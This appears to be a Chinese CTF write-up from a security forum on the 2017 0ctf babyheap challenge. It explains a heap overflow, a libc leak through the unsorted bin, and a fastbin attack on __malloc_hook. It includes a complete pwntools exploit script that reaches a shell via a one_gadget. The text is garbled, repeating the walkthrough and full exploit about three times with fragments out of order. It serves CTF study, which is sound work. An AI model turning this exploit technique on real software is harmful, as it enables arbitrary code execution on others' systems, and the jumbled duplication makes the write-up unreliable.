update(4,0x40,'a'*0x40) update(2,0x10,'b'*0x10) gdb.attach(cn) raw_input() #trim malloc_hook allocate(0x60)#5 delete(5) fake_chunk = leak_addr - 88 - 0x2b- 8 payload = 'a'*0x40 + p64(0) + p64(0x70) + p64(fake_chunk) update(3,len(payload),payload) gdb.attach(cn) raw_input() allocate(0x60)#5 allocate(0x60)#6 one_gadget = libc_base + 0x4526a success('one_gadget:'+hex(one_gadget)) update(6,0x13+8,'c'*0x13+p64(one_gadget)) allocate(0x10) ''' one_gadget libc.so.6 0x45216 0x4526a 0xf02a4 0xf1147 ''' irt()
该题跟2018 0ctf babyheap逻辑十分相似,但那题比较难,只能溢出一个字节,分配长度也有限制。建议大家在做
2018 0ctf babyheap
前先做这题,作为一个基础和铺垫。
allocate(0x48)#0 allocate(0x40)#1 allocate(0x40)#2 allocate(0x40)#3 update(0,0x49,'\x00'*0x48 + '\xa1')#change chunk1's size delete(1)#put into unsortedbin
编辑chunk0时,通过堆溢出,覆盖chunk1的size后,free(chunk1)会将其放入unsortedbin。
allocate(0x40)#chunk2 in unsordtedbin but in_use==1 view(2) ru('Content: \n') leak_addr = uu64(r(6)) //&main_arena+88 success('leak_addr:'+hex(leak_addr)) libc_base = leak_addr - 88-0x3c4b20 //&main_arena - libc_base = 0x3c4b20固定偏题 success('libc_base:'+hex(libc_base))
再allocate一次后会将chunk1拿出来,根据上述小知识点中unsortedbin的规定,chunk2形式上会放入unsortedbin。但此时chunk_list上的in_use是没有修改的,仍然为1,是可以dump的。
这样就可以通过dump(chunk2)来获取libc了。
Step2:trim malloc_hook
allocate(0x40)#4 clear unsortedbin place 2 update(4,0x40,'a'*0x40) update(2,0x10,'b'*0x10)
这个地方需要注意chunk_list的分布和堆内存并不是简单的一一对应关系了,我们可以这么调试。
可以发现我们编辑chunk2和chunk4指向的都是同一块内存,这是因为这之前unsortedbin中还有一个形式上的chunk2存在,所以在分配相同大小的Chunk的时候会将chunk4分配到与chunk2相同的内存地址。
这样可以恢复一下chunk_list的顺序,以便后面的篡改利用。此后,分配的chunk就会放在chunk3后面。
我们看malloc_hook前面有没有符合条件的size
字节错位法:这种利用字节错位,提取出一个满足条件的size出来,以便分配chunk到这个地方。该方法多用于got表不能修改的情况。
这里可以发现在0x7fd7a4da9af5处开始的8个字节,可以抽出一个7f,当作size时就相当于0x70,符合我们fastbin的大小范围。因此把0x7fd7a4da9af5-8的地方作为fake_chunk的起始地址,覆盖某个chunk的fd。
allocate(0x60)#5 delete(5) fake_chunk = leak_addr - 88 - 0x2b- 8 payload = 'a'*0x40 + p64(0) + p64(0x70) + p64(fake_chunk) //padding + prev_size + size + fd update(3,len(payload),payload) allocate(0x60)#5 allocate(0x60)#6 fake_chunk one_gadget = libc_base + 0x4526a success('one_gadget:'+hex(one_gadget)) update(6,0x13+8,'c'*0x13+p64(one_gadget))
还记得之前chunk_list的分布吗?chunk5是紧接着chunk3后面的
所以allocate()后把fastbin中0x60大小的第一个chunk5分配出来,下一个就是fd对应的chunk了
(我在写blog时调试多次,程序并不是一次运行的,而是分开运行,所以程序基址会发生改变,大家只需要关注后三位就行,后三位十六进制数还是一样的)
完整exp:
from pwn import * #context.log_level='debug' cn = process('./babyheap') elf = ELF('./babyheap') libc = ELF('./libc.so.6') sl = lambda data :cn.sendline(str(data)) r = lambda numb=4096 :cn.recv(numb) ru = lambda delims :cn.recvuntil(delims) irt = lambda :cn.interactive() uu64 = lambda data :u64(data.ljust(8, '\0')) def allocate(size): ru('Command: ') sl(1) ru('Size: ') sl(size) def update(index,size,content): ru('Command: ') sl(2) ru('Index: ') sl(index) ru('Size: ') sl(size) ru('Content: ') sl(content) def delete(index): ru('Command: ') sl(3) ru('Index: ') sl(index) def view(index): ru('Command: ') sl(4) ru('Index: ') sl(index) #leak libc_base allocate(0x48)#0 allocate(0x40)#1 allocate(0x40)#2 allocate(0x40)#3 update(0,0x49,'\x00'*0x48 + '\xa1')#change chunk1's size delete(1)#put into unsortedbin allocate(0x40)#chunk2 in unsordtedbin but in_use==1 view(2) ru('Content: \n') leak_addr = uu64(r(6)) success('leak_addr:'+hex(leak_addr)) libc_base = leak_addr - 88-0x3c4b20 success('libc_base:'+hex(libc_base)) allocate(0x40)#4 clear unsortedbin place 2 update(4,0x40,'a'*0x40) update(2,0x10,'b'*0x10) gdb.attach(cn) raw_input() #trim malloc_hook allocate(0x60)#5 delete(5) fake_chunk = leak_addr - 88 - 0x2b- 8 payload = 'a'*0x40 + p64(0) + p64(0x70) + p64(fake_chunk) update(3,len(payload),payload) gdb.attach(cn) raw_input() allocate(0x60)#5 allocate(0x60)#6 one_gadget = libc_base + 0x4526a success('one_gadget:'+hex(one_gadget)) update(6,0x13+8,'c'*0x13+p64(one_gadget)) allocate(0x10) ''' one_gadget libc.so.6 0x45216 0x4526a 0xf02a4 0xf1147 ''' irt()
该题跟2018 0ctf babyheap逻辑十分相似,但那题比较难,只能溢出一个字节,分配长度也有限制。建议大家在做
2018 0ctf babyheap
前先做这题,作为一个基础和铺垫。
allocate(0x48)#0 allocate(0x40)#1 allocate(0x40)#2 allocate(0x40)#3 update(0,0x49,'\x00'*0x48 + '\xa1')#change chunk1's size delete(1)#put into unsortedbin
编辑chunk0时,通过堆溢出,覆盖chunk1的size后,free(chunk1)会将其放入unsortedbin。
allocate(0x40)#chunk2 in unsordtedbin but in_use==1 view(2) ru('Content: \n') leak_addr = uu64(r(6)) //&main_arena+88 success('leak_addr:'+hex(leak_addr)) libc_base = leak_addr - 88-0x3c4b20 //&main_arena - libc_base = 0x3c4b20固定偏题 success('libc_base:'+hex(libc_base))
再allocate一次后会将chunk1拿出来,根据上述小知识点中unsortedbin的规定,chunk2形式上会放入unsortedbin。但此时chunk_list上的in_use是没有修改的,仍然为1,是可以dump的。
这样就可以通过dump(chunk2)来获取libc了。
Step2:trim malloc_hook
allocate(0x40)#4 clear unsortedbin place 2 update(4,0x40,'a'*0x40) update(2,0x10,'b'*0x10)
这个地方需要注意chunk_list的分布和堆内存并不是简单的一一对应关系了,我们可以这么调试。
可以发现我们编辑chunk2和chunk4指向的都是同一块内存,这是因为这之前unsortedbin中还有一个形式上的chunk2存在,所以在分配相同大小的Chunk的时候会将chunk4分配到与chunk2相同的内存地址。
这样可以恢复一下chunk_list的顺序,以便后面的篡改利用。此后,分配的chunk就会放在chunk3后面。
我们看malloc_hook前面有没有符合条件的size
字节错位法:这种利用字节错位,提取出一个满足条件的size出来,以便分配chunk到这个地方。该方法多用于got表不能修改的情况。
这里可以发现在0x7fd7a4da9af5处开始的8个字节,可以抽出一个7f,当作size时就相当于0x70,符合我们fastbin的大小范围。因此把0x7fd7a4da9af5-8的地方作为fake_chunk的起始地址,覆盖某个chunk的fd。
allocate(0x60)#5 delete(5) fake_chunk = leak_addr - 88 - 0x2b- 8 payload = 'a'*0x40 + p64(0) + p64(0x70) + p64(fake_chunk) //padding + prev_size + size + fd update(3,len(payload),payload) allocate(0x60)#5 allocate(0x60)#6 fake_chunk one_gadget = libc_base + 0x4526a success('one_gadget:'+hex(one_gadget)) update(6,0x13+8,'c'*0x13+p64(one_gadget))
还记得之前chunk_list的分布吗?chunk5是紧接着chunk3后面的
所以allocate()后把fastbin中0x60大小的第一个chunk5分配出来,下一个就是fd对应的chunk了
(我在写blog时调试多次,程序并不是一次运行的,而是分开运行,所以程序基址会发生改变,大家只需要关注后三位就行,后三位十六进制数还是一样的)
完整exp:
from pwn import * #context.log_level='debug' cn = process('./babyheap') elf = ELF('./babyheap') libc = ELF('./libc.so.6') sl = lambda data :cn.sendline(str(data)) r = lambda numb=4096 :cn.recv(numb) ru = lambda delims :cn.recvuntil(delims) irt = lambda :cn.interactive() uu64 = lambda data :u64(data.ljust(8, '\0')) def allocate(size): ru('Command: ') sl(1) ru('Size: ') sl(size) def update(index,size,content): ru('Command: ') sl(2) ru('Index: ') sl(index) ru('Size: ') sl(size) ru('Content: ') sl(content) def delete(index): ru('Command: ') sl(3) ru('Index: ') sl(index) def view(index): ru('Command: ') sl(4) ru('Index: ') sl(index) #leak libc_base allocate(0x48)#0 allocate(0x40)#1 allocate(0x40)#2 allocate(0x40)#3 update(0,0x49,'\x00'*0x48 + '\xa1')#change chunk1's size delete(1)#put into unsortedbin allocate(0x40)#chunk2 in unsordtedbin but in_use==1 view(2) ru('Content: \n') leak_addr = uu64(r(6)) success('leak_addr:'+hex(leak_addr)) libc_base = leak_addr - 88-0x3c4b20 success('libc_base:'+hex(libc_base)) allocate(0x40)#4 clear unsortedbin place 2 update(4,0x40,'a'*0x40) update(2,0x10,'b'*0x10) gdb.attach(cn) raw_input() #trim malloc_hook allocate(0x60)#5 delete(5) fake_chunk = leak_addr - 88 - 0x2b- 8 payload = 'a'*0x40 + p64(0) + p64(0x70) + p64(fake_chunk) update(3,len(payload),payload) gdb.attach(cn) raw_input() allocate(0x60)#5 allocate(0x60)#6 one_gadget = libc_base + 0x4526a success('one_gadget:'+hex(one_gadget)) update(6,0x13+8,'c'*0x13+p64(one_gadget)) allocate(0x10) ''' one_gadget libc.so.6 0x45216 0x4526a 0xf02a4 0xf1147 ''' irt()
该题跟2018 0ctf babyheap逻辑十分相似,但那题比较难,只能溢出一个字节,分配长度也有限制。建议大家在做
2018 0ctf babyheap
前先做这题,作为一个基础和铺垫。
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
赞赏记录
参与人
雪币
留言
时间
一笑人间万事
为你点赞~
2023-2-2 02:34
BurYiA
为你点赞~
2021-3-21 21:24
夏了茶糜.
为你点赞~
2019-12-25 14:41
赞赏
他的文章
- [原创]2019-西湖论剑 noinfoleak 22769
- [原创]2018-XNUCA steak 涨姿势 12908
- [原创]20170ctf babyheap 8165
- [原创]2014 hack.lu oreo 23104
- [原创]HITCON Trainging lab13 heapcreator 8061
谁下载
无
谁下载
无
谁下载
无
看原图
赞赏
雪币:
留言: